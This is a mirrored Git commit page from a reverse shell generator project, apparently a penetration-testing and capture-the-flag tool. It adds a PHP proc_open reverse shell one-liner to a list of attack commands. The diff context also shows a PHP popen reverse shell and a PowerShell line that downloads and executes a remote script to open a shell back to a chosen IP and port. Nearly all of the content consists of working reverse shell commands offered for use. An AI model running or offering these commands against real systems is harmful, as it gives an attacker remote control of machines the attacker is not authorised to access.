mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-18 19:06:09 +00:00
Add PHP proc_open reverse shell
This commit is contained in:
parent
162b8b7a9a
commit
daf5512d12
@ -149,6 +149,11 @@ const reverseShellCommands = withCommandType(
|
|||||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});popen(\"{shell} <&3 >&3 2>&3\", \"r\");'",
|
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});popen(\"{shell} <&3 >&3 2>&3\", \"r\");'",
|
||||||
"meta": ["linux", "windows", "mac"]
|
"meta": ["linux", "windows", "mac"]
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "PHP proc_open",
|
||||||
|
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell} -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'",
|
||||||
|
"meta": ["linux", "windows", "mac"]
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "Windows ConPty",
|
"name": "Windows ConPty",
|
||||||
"command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}",
|
"command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}",
|
||||||
|
Loading…
Reference in New Issue
Block a user